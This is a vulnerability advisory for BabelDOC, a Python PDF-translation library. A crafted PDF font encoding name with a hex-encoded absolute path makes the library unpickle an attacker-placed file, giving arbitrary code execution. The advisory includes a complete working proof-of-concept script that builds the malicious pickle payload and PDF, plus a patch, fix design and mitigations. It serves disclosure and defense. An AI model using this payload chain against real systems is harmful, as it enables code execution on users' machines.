PT-2026-57362 — Deserialization of Untrusted Data in Pypi Babeldoc

PT-2026-57362 · Pypi · Babeldoc

Published

2026-07-10

Updated

2026-07-10

CVSS v3.1

7.8

High

Vector

AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py

Summary

BabelDOC's vendored PDF parser (babeldoc/pdfminer/cmapdb.py) deserializes untrusted pickle data when loading CMap files. The load data() method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to os.path.join() and pickle.loads(). Because Python's os.path.join() discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's /Encoding name (e.g., /#2Ftmp#2Fattacker#2Fevil) can redirect deserialization to any attacker-writable .pickle.gz file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.

Details

The vulnerable function is CMapDB. load data() at babeldoc/pdfminer/cmapdb.py:232–245:

python

@classmethod
def load data(cls, name: str) -> Any:
  name = name.replace("0", "")     # line 233 — only NUL is stripped
  filename = "%s.pickle.gz" % name    # line 234 — attacker-controlled string
  ...
  for directory in cmap paths:
    path = os.path.join(directory, filename)  # line 241 — no realpath/canonical check
    if os.path.exists(path):
      gzfile = gzip.open(path)
      try:
        return type(str(name), (), pickle.loads(gzfile.read())) # line 245 — unconditional pickle

Path injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as #xx. The pdfminer literal-name parser (psparser. parse literal hex) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal /#2Ftmp#2Fattacker#2Fevil is decoded to the Python string /tmp/attacker/evil.

Python os.path.join() absolute-path override. When the decoded name starts with / (i.e., it is an absolute path), Python's os.path.join(directory, name + ".pickle.gz") ignores directory entirely and returns the absolute path unchanged. The trusted cmap paths directories (/usr/share/pdfminer/, the package's own cmap/ folder) are therefore completely bypassed.

Data flow from PDF to sink:

babeldoc/main.py:611–622 — CLI accepts a PDF path; only existence and .pdf suffix are checked.
babeldoc/main.py:678–679 — path stored in TranslationConfig(input file=file).
babeldoc/format/pdf/high level.py:472–488 — translation config.input file enters the translate pipeline.
babeldoc/format/pdf/high level.py:805–848 — PDF saved to temp pdf path and parsed with parse prepared pdf with new parser to legacy ir.
babeldoc/format/pdf/new parser/native parse.py:60–70 — prepared pages loaded and interpreted.
babeldoc/format/pdf/new parser/pymupdf prepared page access.py:25–34 — PyMuPDF opens the PDF and builds page resources.
babeldoc/format/pdf/new parser/prepared resource builder.py:84–94 — font resources converted to PreparedFontSpec.
babeldoc/format/pdf/new parser/active font resource runtime.py:21–35 — page resource bundle resolves root font map.
babeldoc/format/pdf/new parser/active font runtime.py:79–87 — each font spec projected and passed to font factory.create font.
babeldoc/format/pdf/new parser/active direct font backend.py:291–292, 491–493 — CID fonts call build cid cmap(spec, literal name=literal name).
babeldoc/format/pdf/new parser/runtime/cid cmap runtime.py:52–77 — PDF-controlled /Encoding/CMapName normalized and passed to CMapDB.get cmap. normalize cmap name() removes only a single leading /; all other path characters pass through.
babeldoc/pdfminer/cmapdb.py:233–245 — sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with pickle.loads().

Sanitization gaps:

name.replace("0", "") removes only the NUL byte; .., /, ``, and hex-decoded path separators are unaffected.
There is no os.path.realpath(), os.path.abspath(), or os.path.commonpath() containment check before the file is opened.
There is no allowlist of known CMap names nor any integrity verification of the pickle data.

Recommended patch (babeldoc/pdfminer/cmapdb.py):

diff

--- a/babeldoc/pdfminer/cmapdb.py
+++ b/babeldoc/pdfminer/cmapdb.py
@@
     cmap paths = (
       os.environ.get("CMAP PATH", "/usr/share/pdfminer/"),
       os.path.join(os.path.dirname( file ), "cmap"),
     )
     for directory in cmap paths:
-      path = os.path.join(directory, filename)
+      base dir = os.path.realpath(directory)
+      path = os.path.realpath(os.path.join(base dir, filename))
+      try:
+        if os.path.commonpath([base dir, path]) != base dir:
+          continue
+      except ValueError:
+        continue
       if os.path.exists(path):
         gzfile = gzip.open(path)

A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.

PoC

Environment setup (Docker — recommended for isolation):

bash

# From the repository root
docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .
docker run --rm vuln-001-babeldoc-cmap

Manual setup (local venv):

bash

python3 -m venv /tmp/babeldoc-poc-venv
source /tmp/babeldoc-poc-venv/bin/activate
pip install freetype-py==2.5.1 charset-normalizer cryptography
export PYTHONPATH=/path/to/BabelDOC
python3 poc.py

PoC script (poc.py) — key steps:

python

import gzip, pathlib, pickle, sys

CMAP STAGING DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS PICKLE = CMAP STAGING DIR / "malicious.pickle.gz"
MALICIOUS PDF  = CMAP STAGING DIR / "malicious.pdf"
PROOF FILE    = pathlib.Path("/tmp/babeldoc cmap rce proof.txt")

# Step 1 — write the malicious pickle to a world-writable location
class MaliciousPayload:
  def  reduce (self):
    return (pathlib.Path(str(PROOF FILE)).write text,
        ("RCE CONFIRMED: pickle.loads executed attacker payload",))

CMAP STAGING DIR.mkdir(parents=True, exist ok=True)
with gzip.open(MALICIOUS PICKLE, "wb") as fh:
  pickle.dump(MaliciousPayload(), fh)

# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path
# "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
encoding name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

# ... (minimal PDF structure with a Type0 CID font referencing encoding name) ...
# Full source in poc.py

# Step 3 — trigger via the pdfminer high-level API
from babeldoc.pdfminer.high level import extract text
try:
  extract text(str(MALICIOUS PDF))
except TypeError:
  pass # expected: type(name, (), <int>) fails after write text returns int

# Step 4 — verify
assert PROOF FILE.exists(), "FAIL: proof file not created"
print(PROOF FILE.read text()) # => "RCE CONFIRMED: pickle.loads executed attacker payload"

Phase 2 dynamic reproduction output (Docker container):

[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz
[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf
[*] Calling extract text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...
[*] extract text raised TypeError: type. new () argument 3 must be dict, not int
[*] This exception is expected; the payload ran before it.

============================================================
RESULT: PASS
Proof file: /tmp/babeldoc cmap rce proof.txt
Content:  'RCE CONFIRMED: pickle.loads executed attacker payload'
============================================================

The TypeError is benign and expected: write text() returns an integer, and the subsequent type(name, (), <int>) call in load data() raises before reaching further code. The payload already executed successfully at that point.

Attack path summary:

PDF /Encoding /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious
 -> pdfminer hex-decodes #2F -> '/'
 -> literal name = "/tmp/babeldoc-cmap-poc/malicious"
 -> CMapDB. load data("/tmp/babeldoc-cmap-poc/malicious")
 -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"  # absolute path!
 -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
   == "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"      # first arg discarded
 -> gzip.open() + pickle.loads() -> arbitrary code execution

Impact

This is an Arbitrary Code Execution vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.

Who is impacted:

End users who open a malicious PDF with the babeldoc CLI or any application embedding BabelDOC's PDF translation/text-extraction functionality.
Automated document processing pipelines (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.

Attack prerequisites:

The attacker must be able to place a .pickle.gz file at a predictable path on the local filesystem (e.g., /tmp/), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative.
The victim must process the crafted PDF through BabelDOC. No elevated privileges or special configuration is required — default PDF processing is the vulnerable code path.

Scope: The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user's process), justifying the Changed scope in the CVSS vector and potential lateral movement between users on multi-user systems.

Consequences: Full code execution with the victim process's privileges — confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.

Reproduction artifacts

`Dockerfile`

dockerfile

FROM python:3.11-slim

# Install system-level dependencies for freetype
RUN apt-get update && apt-get install -y --no-install-recommends 
  libfreetype6 
  && rm -rf /var/lib/apt/lists/*

# Install minimal Python dependencies required by babeldoc/pdfminer
RUN pip install --no-cache-dir 
  freetype-py==2.5.1 
  charset-normalizer 
  cryptography

# Copy the BabelDOC repository (only babeldoc package directory is needed)
COPY repo/babeldoc /app/babeldoc

# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py

WORKDIR /app

# PYTHONPATH exposes babeldoc package without a full pip install
ENV PYTHONPATH=/app

CMD ["python3", "poc.py"]

`poc.py`

python

"""
PoC: CMap Pickle Deserialization via Absolute Path Injection
CVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2

Vulnerability: babeldoc/pdfminer/cmapdb.py load data() only strips NUL bytes
from the CMap name before building a filesystem path. A PDF name object
using #xx hex-encoding can inject absolute path characters (/) so that
os.path.join() discards the trusted cmap directory entirely, opening and
unpickling an attacker-placed .pickle.gz file.

Attack flow:
 PDF /Encoding /#2Ftmp#2F...#2Fmalicious
  -> pdfminer hex-decodes #2F -> '/'
  -> literal name() returns "/tmp/.../malicious"
  -> load data("/tmp/.../malicious")
  -> filename = "/tmp/.../malicious.pickle.gz"  (absolute path!)
  -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
    == "/tmp/.../malicious.pickle.gz"      (Python discards first arg)
  -> gzip.open() + pickle.loads() => arbitrary code execution
"""

import gzip
import os
import pathlib
import pickle
import sys

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
CMAP STAGING DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS PICKLE = CMAP STAGING DIR / "malicious.pickle.gz"
MALICIOUS PDF = CMAP STAGING DIR / "malicious.pdf"
PROOF FILE = pathlib.Path("/tmp/babeldoc cmap rce proof.txt")


# ---------------------------------------------------------------------------
# Step 1: Build the malicious pickle payload
# ---------------------------------------------------------------------------
class MaliciousPayload:
  """Pickle payload that writes a proof file on deserialization."""

  def  reduce (self):
    # Write proof file when unpickled; any writable command works here.
    return (
      pathlib.Path(str(PROOF FILE)).write text,
      ("RCE CONFIRMED: pickle.loads executed attacker payload",),
    )


def create malicious pickle():
  CMAP STAGING DIR.mkdir(parents=True, exist ok=True)
  PROOF FILE.unlink(missing ok=True)

  with gzip.open(MALICIOUS PICKLE, "wb") as fh:
    pickle.dump(MaliciousPayload(), fh)

  print(f"[+] Malicious pickle written: {MALICIOUS PICKLE}")


# ---------------------------------------------------------------------------
# Step 2: Build the malicious PDF
# ---------------------------------------------------------------------------
def create malicious pdf():
  """
  Craft a minimal PDF with a Type0 CID font whose /Encoding name is a
  PDF literal that hex-encodes an absolute Unix path.

  PDF name syntax: /<characters> where #xx is hex escape for byte 0xxx.
  "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to the name value
  "/tmp/babeldoc-cmap-poc/malicious" (starts with '/').

  When passed through babeldoc/pdfminer:
   literal name(PSLiteral) -> "/tmp/babeldoc-cmap-poc/malicious"
    load data() -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"
   os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
    => "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" (absolute wins!)
  """
  # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious
  # '#2F' = '/' in PDF name hex encoding
  encoding name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

  content stream = b"BT
/F1 12 Tf
100 700 Td
(Malicious PDF) Tj
ET
"

  # PDF objects (1-indexed)
  objs = [
    # 1: Catalog
    b"<< /Type /Catalog /Pages 2 0 R >>",
    # 2: Pages
    b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    # 3: Page - references content stream (4) and font (5)
    b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]"
    b" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>",
    # 4: Content stream
    b"<< /Length %d >>
stream
" % len(content stream)
    + content stream
    + b"
endstream",
    # 5: Type0 font with malicious /Encoding name
    b"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont"
    b" /Encoding " + encoding name + b""
    b" /DescendantFonts [6 0 R] >>",
    # 6: CIDFontType2 descendant
    b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont"
    b" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)"
    b" /Supplement 0 >> /FontDescriptor 7 0 R >>",
    # 7: FontDescriptor (minimal)
    b"<< /Type /FontDescriptor /FontName /MalFont /Flags 4"
    b" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0"
    b" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>",
  ]

  buf = bytearray(b"%PDF-1.4
")
  offsets = []
  for i, obj data in enumerate(objs, 1):
    offsets.append(len(buf))
    buf += f"{i} 0 obj
".encode() + obj data + b"
endobj
"

  xref offset = len(buf)
  buf += f"xref
0 {len(objs) + 1}
0000000000 65535 f 
".encode()
  for off in offsets:
    buf += f"{off:010d} 00000 n 
".encode()
  buf += (
    f"trailer
<< /Size {len(objs) + 1} /Root 1 0 R >>
"
    f"startxref
{xref offset}
%%EOF
"
  ).encode()

  MALICIOUS PDF.write bytes(bytes(buf))
  print(f"[+] Malicious PDF written: {MALICIOUS PDF}")


# ---------------------------------------------------------------------------
# Step 3: Trigger the vulnerability via babeldoc pdfminer extract text
# ---------------------------------------------------------------------------
def trigger exploit():
  from babeldoc.pdfminer.high level import extract text

  print(f"[*] Calling extract text({MALICIOUS PDF}) ...")
  try:
    result = extract text(str(MALICIOUS PDF))
    print(f"[+] extract text completed, returned {len(result)} chars")
  except Exception as exc:
    # A TypeError is expected: after pickle.loads() returns the result of
    # write text() (an int), the code tries type(name, (), <int>) which
    # raises TypeError. The write has already happened at this point.
    print(f"[*] extract text raised {type(exc). name }: {exc}")
    print("[*] This exception is expected; the payload ran before it.")


# ---------------------------------------------------------------------------
# Step 4: Verify RCE evidence
# ---------------------------------------------------------------------------
def verify rce():
  if PROOF FILE.exists():
    content = PROOF FILE.read text()
    print()
    print("=" * 60)
    print("RESULT: PASS")
    print(f"Proof file: {PROOF FILE}")
    print(f"Content:  {content!r}")
    print("=" * 60)
    return True
  else:
    print()
    print("=" * 60)
    print("RESULT: FAIL")
    print(f"Proof file {PROOF FILE} was NOT created.")
    print("=" * 60)
    return False


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
  print("=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===")
  print(f"Python: {sys.version}")
  print()

  create malicious pickle()
  create malicious pdf()
  trigger exploit()
  success = verify rce()

  sys.exit(0 if success else 1)


if  name  == " main ":
  main()

Notes from the maintainer

CVSS revision note

The CVSS v3.1 vector has been revised from the reporter's initial CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (8.6) to CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) on maintainer review. The severity rating remains High.

One metric is revised; the remaining metrics (AV:L, AC:L, PR:N, UI:R, C:H/I:H/A:H) are unchanged from the reporter's assessment.

Scope: Changed → Unchanged. BabelDOC is a PDF-processing library running with the caller process's operating-system permissions; it does not enforce a separate security authority over OS files, users, or downstream services. The malicious pickle payload executes in that same BabelDOC Python process. Under CVSS v3.1, this is Scope Unchanged: the vulnerable component and the impacted component are governed by the same authority. No sandbox, VM, browser-client, or application-defined authorization boundary is crossed.

The remaining metrics are retained intentionally:

AV:L, PR:N, UI:R: the attack requires local presence of attacker-influenced data (consistent with AV:L), does not require authenticated access to BabelDOC itself (PR:N), and depends on a user actually processing the crafted PDF (UI:R).
AC:L: kept aligned with industry practice for CWE-502 deserialization issues; once the supporting filesystem condition exists, the same-process exploitation path is consistent and repeatable.
C:H, I:H, A:H: full code-execution impact within the BabelDOC process.

We thank EQSTLab for the detailed report and PoC; this revision is limited to CVSS metric interpretation, and the issue remains High severity when exploitable.

Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)

The original report covers entry point (1): the Encoding / CMapName font dictionary path, with absolute-path injection. Local review during patch preparation identified that the same load data sink is reached from one additional independently exploitable PDF-controlled path and two prefixed call sites covered at the sink for defense in depth:

Encoding / CMapName references in a font dictionary (reported entry; absolute-path injection per the upstream report, .. relative traversal also exploitable)
The PostScript usecmap operator inside an embedded CMap stream (independently exploitable via .. relative traversal; not in the original report)
CIDSystemInfo.Ordering flowing through get unicode map in the legacy pdfminer pipeline
CIDSystemInfo.Ordering flowing through get unicode map in the active new-parser pipeline

Call sites (3) and (4) were not reproduced as standalone PDF-only exploit paths in v0.6.x. The get unicode map caller prepends a to-unicode- prefix to the PDF-controlled name, which breaks absolute-path injection and means .. traversal would require an additional crafted directory layout such as a to-unicode-* component under a CMap search location. The 0.6.3 sink-level fix still covers these call sites, so future removal of the prefix or a future unprefixed caller remains blocked.

Fix design

The runtime CMap loader in 0.6.3 refuses to deserialize any file that does not simultaneously:

appear in a pinned manifest of bundled CMap filenames (allowlist),
resolve inside the bundled runtime/data/cmap directory after path resolution (containment check), and
byte-for-byte match the manifest's pinned byte size and SHA-256.

The integrity check runs on the compressed on-disk .gz bytes before decompression, so files whose compressed size or SHA-256 differs from the pinned manifest are rejected before gzip or pickle sees them. The legacy CMAP PATH external search path is removed entirely; only the bundled directory is consulted. The active new-parser pipeline and the vendored pdfminer pipeline share the same verified-load entry point.

Related hardening shipped in 0.6.3

A separate hardening in the same release sanitizes PDF-controlled XObject names before they reach the optional ImageWriter output path, preventing PDF-driven writes outside the configured output directory. This is separate from BabelDOC's default translation pipeline: the optional ImageWriter is not used by default and is only reachable when a third-party caller passes an explicit output dir. It is included here for completeness.

Risk reduction if you cannot upgrade immediately

These steps reduce known exploit preconditions on pre-0.6.3 versions; they are not equivalent to the 0.6.3 fix.

Do not set the CMAP PATH environment variable when running BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3 versions, unsetting it limits the attack surface to the bundled cmap directory under the BabelDOC package.
Run BabelDOC under an account that cannot create files in any directory BabelDOC will read CMap data from, including any pre-0.6.3 CMAP PATH target.
Process only PDFs from trusted sources until upgrading.

Maintenance policy

BabelDOC publishes security fixes only in the latest release. We do not publish maintainer-supported backports for older minor, patch, or release lines. For this advisory, the maintainer-supported fixed version is 0.6.3 or later; downstream distributors may carry their own patches, but older BabelDOC releases will not receive a separate upstream backport.

Acknowledgements

We thank EQSTLab for the detailed private report, complete reproduction material, and coordinated-disclosure cooperation that allowed this fix to be prepared and released before public disclosure.

Timeline

2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and notifies maintainers
2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix
2026-06-03 09:50 UTC: this advisory published
TBD: CVE identifier assigned (pending GitHub CNA review; GitHub documentation says CVE requests are usually reviewed within 72 hours)

References

BabelDOC 0.6.3 release notes: https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md
CVE: TBD (pending CNA assignment)

Fix

Deserialization of Untrusted Data

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Weakness Enumeration

CWE-502

Related Identifiers

GHSA-M8GF-V64P-GFMG

Affected Products

Babeldoc

PT-2026-57362 · Pypi · Babeldoc

Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py

Summary

Details

PoC

Impact

Reproduction artifacts

Dockerfile

poc.py

Notes from the maintainer

CVSS revision note

Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)

Fix design

Related hardening shipped in 0.6.3

Risk reduction if you cannot upgrade immediately

Maintenance policy

Acknowledgements

Timeline

References

Weakness Enumeration

Related Identifiers

Affected Products

References · 3

`Dockerfile`

`poc.py`